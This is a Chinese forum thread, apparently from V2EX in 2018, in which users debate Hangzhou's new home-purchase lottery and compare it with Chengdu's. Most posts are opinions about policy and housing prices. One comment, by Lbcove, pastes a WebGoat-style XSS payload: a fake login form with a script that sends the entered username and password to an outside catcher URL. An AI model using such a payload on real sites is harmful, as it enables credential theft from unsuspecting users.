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第 1 条附言 · 2018-03-29 15:33:07 +08:00
ps:社保也从两年变三年了
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lhjl1314 2018-03-29 15:03:57 +08:00  6
杭州还挺把自己当回事儿
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wodexiaogou 2018-03-29 15:10:04 +08:00
刚需以前有钱还能买，现在有钱都买不了了。虽然限制了炒房团，但个人感觉对刚需来说更买不起了，因为二手房会更贵，毕竟需求买房的人多了，但能有资格买的人更少了。
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pkookp8 2018-03-29 15:11:15 +08:00 via Android
看看摇号买车牌，车牌都什么价了就知道了
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logOo 2018-03-29 15:12:07 +08:00 via Android
不把资源变得稀有，你们怎么能甘心掏腰包呢，既然这么稀有了，能得到的还不感恩戴德。
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glues 2018-03-29 15:13:15 +08:00
说白了就是懒政
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VDimos 2018-03-29 15:13:52 +08:00 via Android
说白了就是涨价嘛，以前花钱买新房。现在加钱都不一定能买二手房。“中国梦”
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forzalianjunting 2018-03-29 15:14:52 +08:00
成都已经摇了一段时间了，有些盘中签率甚至不到 1%
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gggxxxx 2018-03-29 15:15:16 +08:00
摇号有正面作用，一般配套的还有限价政策。
对有钱没钱的人来说，相对公平。 |
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zapper 2018-03-29 15:23:52 +08:00 1
会不会有根本不想买房的人也去摇号，卖指标。然后使得刚需抽到几率越来越低？
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LamProductionS 2018-03-29 15:30:04 +08:00
挺好的，深圳价格太高，已经不需要这种限制的手段了。
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echo1937 2018-03-29 15:31:42 +08:00
@zapper #9 虽然政策细节还没出来，但一般来说是不会允许指标转让的，杭州的汽车上牌也要摇号，摇到的指标就不能转让。
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kx5d62Jn1J9MjoXP 2018-03-29 15:31:45 +08:00
"市场经济"
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zhouxuchen 2018-03-29 15:34:37 +08:00 10
我礼拜一刚把首付准备好，昨天躺了一天……今天给自己做了一天的思想工作，MMP
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g0thic 2018-03-29 15:40:09 +08:00
换个角度想 大家都想去摇新房 二手房会不会不涨那么凶了
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haJohn 2018-03-29 15:41:00 +08:00
@zhouxuchen 应该不是立马执行吧。
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zhouxuchen 2018-03-29 15:42:04 +08:00
@haJohn #16 现在能拿全款也有买房意向的基本趁着政策还没出就去交了全款买了，我这种三成的穷屌基本没机会了
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haJohn 2018-03-29 15:45:16 +08:00
@zhouxuchen 这尼玛坑爹，最近确实涨的太凶了，拆迁也多，好房子不愁卖
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Weny 2018-03-29 15:47:25 +08:00 via iPhone
摇不到 怕是租房为生 四海为家
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littlehero220 2018-03-29 15:48:20 +08:00 via Android
@forzalianjunting 这个盘就是成都招商华府
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wodexiaogou 2018-03-29 15:50:36 +08:00
@g0thic 正因为摇号，二手房更会暴涨。因为新房大概率摇不到，只能去买二手的。以前新房二手还能挑，现在不行了。
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sgissb1 2018-03-29 16:00:42 +08:00
要想成为一线城市，首先自我优越感和做法就要和一线城市接轨。
就像现在想成为高富帅一样，自己心里都不认为自己是高富帅，如何去忽悠别人？ |
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arnofeng 2018-03-29 16:06:51 +08:00 via iPhone
人人买房的时代。
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jaleo 2018-03-29 16:16:34 +08:00
买涨不买跌 一旦房价开始被游资炒动起来 民众开始抢着买房了
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iappled 2018-03-29 16:23:10 +08:00
我就看看泡沫啥时候破
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ayukun 2018-03-29 16:30:33 +08:00
感觉对刚需是利好呀 ，我同事摇到了，参与摇号要缴 5 万的押金的，可以用公积金也不用全款，不是挺好的吗
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woshipanghu 2018-03-29 16:34:23 +08:00
这些政策都是针对穷人的
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zyqzyq08 2018-03-29 16:36:13 +08:00
感觉不管是不是利好。。。肯定房地产公司会套路一波钱
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chztv 2018-03-29 16:52:25 +08:00
拆迁户太多了，货币安置，造成拿着上千万的现金直接买房，开发商自己搞，猫腻太多，所以政府这个摇号我觉得还是应该有一定的作用。
说实在的，拆迁户买房也是刚需。 |
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hzm0318hzm 2018-03-29 17:21:13 +08:00
然后号也是可以没事摇来赚钱了，买房成本又多了一项
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utanbo 2018-03-29 17:23:02 +08:00
原先一部分必须全款、有关系的新盘，会分配给贷款的人。假设需要贷款的人是刚需，全款的人一部分是投资，那么摇号机制会让一部分房子分配给刚需。
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utanbo 2018-03-29 17:29:15 +08:00
一部分全款的投资客，摇不到新盘，会转向投二手房，所以应该是对二手房的利好。
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sobigfish 2018-03-29 17:38:41 +08:00
成都房协的网站 购房登记结果查询 ：
*.*.*.*:8888/lottery/accept/searchResult 直接使用了 lottery 的关键字... |
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jarnanchen 2018-03-29 18:09:56 +08:00
对摇得到的刚需绝对是利好。相当于以便宜很多的价格买到了房子。因为目前的很多新房备案价都是低于周边二手房价的。
摇号加上限价，本质上就是抽奖活动啊。 |
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jarnanchen 2018-03-29 18:17:54 +08:00
另外网传新房五年内限售，社保变三年等政策还没证实。
如果是真的话，那就精彩了 |
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paullee 2018-03-29 18:33:55 +08:00 via iPhone
从成都的情况来看 1 对刚洗是弊
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zhouyou457 2018-03-29 19:07:31 +08:00 via iPhone
成都已经实行摇号一段时间了，我同事摇了 7 次没中过....
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acumen 2018-03-29 19:26:06 +08:00 via iPhone
拆迁户买房也摇号吗？这就有意思了。
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Flobit 2018-03-29 22:40:30 +08:00 via Android
摇号买房真的是一个傻逼措施，让真买房的买不到，让炒房的赚番
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panpanpan 2018-03-29 22:43:40 +08:00 via iPhone
别想了，摇不中的。。在成都摇了 5 次了，每次都排了三个号
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zuosiruan 2018-03-29 22:44:02 +08:00 via Android
合肥已经摇号好几年了，
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LINAICAI 2018-03-29 23:37:22 +08:00 1
其实最好就是放开价格,绝对比现在更加真实,政府是太想两头吃了,既想卖地赚钱又想维持放假不波动,这样反而助长了炒房团看准不会跌.
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jackwow 2018-03-29 23:39:49 +08:00
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jackwow 2018-03-29 23:44:21 +08:00
@lhjl1314 预售证限价，造成现在杭州买房都要靠关系买资格，这才有摇号的。你这么想当然的理解问题，也太把自己当回事了。
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jackwow 2018-03-29 23:55:32 +08:00
@hzm0318hzm 你想到的，规则制定者早就想到了，你听过杭州车牌资格摇号转让的么？指标不能转让，只能得标者自己付钱买房，买了 5 年之内不得转让二手房。
@sgissb1 在你看来，靠优越感和限购做法接轨，就能成为一线城市？那中国西部贫困城市说:这样的优越感和做法给我来一打 |
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jackwow 2018-03-29 23:57:46 +08:00
@lhjl1314 你还是犯了没弄清楚，就直接下结论的错误。你怎么就确定我是杭州人了？妈呀，好怕你们这些太把自己想法当回事儿的人了。
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lodisy 2018-03-29 23:59:53 +08:00 via Android
是时候走了
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qhxin 2018-03-30 00:23:42 +08:00 1
这样说吧，成都摇号，本地的有房的都可以一家好几口人每人去排一号、增加概率，真正需要买房的，完全是抽彩票
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jackwow 2018-03-30 00:35:22 +08:00
@Flobit
这是两个问题。 摇号要做的是让大家公平获得购买资格。 而 6 万人摇 400 套，解决这个问题的办法是增加房屋供给才对。 否则，不管摇不摇号，都有 59600 人买不到房子。 区别是，那买到的 400 个人，是花大价钱去中介等第三方买资格，还是不花钱靠运气摇到资格。 |
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jackwow 2018-03-30 01:01:30 +08:00
@Flobit 像 53#说的问题
同样两个年轻人要在一个成都买房 一个是成都当地青年全家帮着摇号，一个是异地年轻人一个人摇号。 当然是家里帮着一起摇的几率大，但是如果是家庭成员摇到，就牵扯到一个过户的问题，还是会和买二手房一样产生费用。 如果是本地青年自己摇到号码，但摇到的几率和那个异地青年摇到的几率是一样大的，这点上来说又是公平的。 如果有些人不差钱，或许规则制定的可以像上海车牌一样，一部分摇号，一部分拍卖价高者得。 |
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Immortal 2018-03-30 01:09:59 +08:00
对于我这样摇不摇号都没钱上车的人来说
现在最关心的是 房租会不会涨上天！ |
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roujiamo 2018-03-30 01:17:54 +08:00 via iPhone
我在成都摇好几次了.....屁都没有😑
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Zeonjl 2018-03-30 06:49:21 +08:00
所谓刚需也就是权贵抛出来的词组，在自有控制的媒体中强力植入的结果而已。
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widewing 2018-03-30 07:42:50 +08:00 via Android
如果我是炒房的，那我找几个人一起入股，每个人都摇号增加中签率，摇到后按股份出资。这样操作是否可行？感觉能够吊打刚需买房者并进一步炒高房价🤔
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zhaoFinger 2018-03-30 09:06:33 +08:00
对我没有影响，反正买不起。
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sgissb1 2018-03-30 09:15:56 +08:00
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fengfisher3 2018-03-30 09:18:55 +08:00
对于刚需，伤害还是最大的。
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wodexiaogou 2018-03-30 09:19:33 +08:00
@jackwow 地就那么多，怎么建？而且杭州西湖还是禁建区，上城下城又是老城区，能有地方建房子的太少了。说到底还是杭州主城区太小了。
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likeshu 2018-03-30 09:20:49 +08:00
中美贸易战,国家不允许继续推高房地产的泡沫了,这个花岗岩的泡沫也不会那么快被刺破,看我余生能等到吗
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wupher 2018-03-30 09:24:32 +08:00
以前可以有钱任性，现在有钱你也要看运气了。
不过，你有钱，直接去北京上海好了，也不用死呆在一个地方。 明明可以纯市场解决的事，因为有政府的参与和利益，于是变成了今天的样子。希望将来这样的事越少越好。 |
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hehe12dyo 2018-03-30 09:36:32 +08:00
说了这么多，其实都是被政府这只无形的手推着走。所以最好的解决方案是什么？我想你们都明白了。
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xiongweixbox 2018-03-30 09:45:47 +08:00
不要以为在那个城市找到一份工作再贷款买套房子就能留下来像本地人一样生活了。
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twl007 2018-03-30 09:48:48 +08:00 via iPhone
杭州这手玩的溜 靠棚户区改造现金补贴消化新房库存并且把价格搞上去了 现在又要靠摇号折腾二手房了一可以可以
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onionKnight888 2018-03-30 09:53:13 +08:00
摇就摇呗，以前一个号子几十万，还得托关系才买得到
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luren123 2018-03-30 10:15:05 +08:00
@twl007 政府现在就是玩这一套，一个城市一个城市的收割，让无产阶级花掉所有的继续，再透支未来的继续，这两三年全国一到四线城市基本都翻了一倍左右了，简直恐怖
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Mooney2018 2018-03-30 10:44:21 +08:00
@g0thic  ) |
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benteke 2018-03-30 11:02:50 +08:00
对那些之前只能 3 成首付的人是利好，对那些 6 成首付甚至全款的人是利空。
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laucenmi 2018-03-30 11:21:23 +08:00
不太信任国内的公证机构，不管什么业务都会有人去钻空子的，对于刚需可能更加困难
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wineast 2018-03-30 11:23:41 +08:00
@benteke 看前面成都的盛况，6w 人摇 400 套，首付三成的其实也差不多，最多是百一和百三的区别。。倒是对全款货币安置的拆迁户。真是大大的利空，手握千万资金，新房还要和 3 成的一起抢。。。抢不到只能去买二手房，等不起啊
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Lbcove 2018-03-30 11:27:51 +08:00
111<form ><HR><H2>This feature requires account login:</H2>Enter Username:<input type="text" id="user" name="user" ><br>Enter Password:<input type="password" id="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><script> function hack(){XSSImage=new Image; XSSImage.src="http://192.168.185.73:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.form.user.value + "&password=" + document.form.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.form.user.value + " Password = " + document.form.pass.value); }</script>
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jackwow 2018-03-30 11:30:30 +08:00
@wodexiaogou 这个我知道。没新地，也只能拆旧，所以拆迁的很厉害
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cargo 2018-03-30 11:46:36 +08:00
水多了加面，面多了加水
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Damon4V 2018-03-30 11:49:18 +08:00
放心，后续会出竞价拍指标，如汽车竞价
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Flobit 2018-03-30 12:17:50 +08:00 via Android
@jackwow 摇号不是人人都能摇的，你必须先有资格才能够与本地人同台竞技摇号的，而且本地人也不会是一个人去摇号，肯定要全家一起出动啊，所以对于外地青年来说还是存在着一些不公平的。
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jackwow 2018-03-30 12:32:15 +08:00
@Flobit 是的，能否尽量公平，规则制定就显得很重要，比如上海要交好几万保证金才有资格摇号，这让又可以筛选掉一些一人买房，全家出动摇的现象。
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inet6 2018-03-30 14:46:20 +08:00
不管怎么玩，我认为，庄家利好！
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MarcoM 2018-03-30 15:28:16 +08:00
表示 以后回建德了。。
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imswing 2018-04-01 12:18:20 +08:00 via iPhone
西安都要摇号了 MMP
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pdog18 2018-04-03 13:18:14 +08:00
社保什么时候改的？
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90
pdog18 2018-04-03 16:23:47 +08:00
没有找到 社保修改为 3 年的出处
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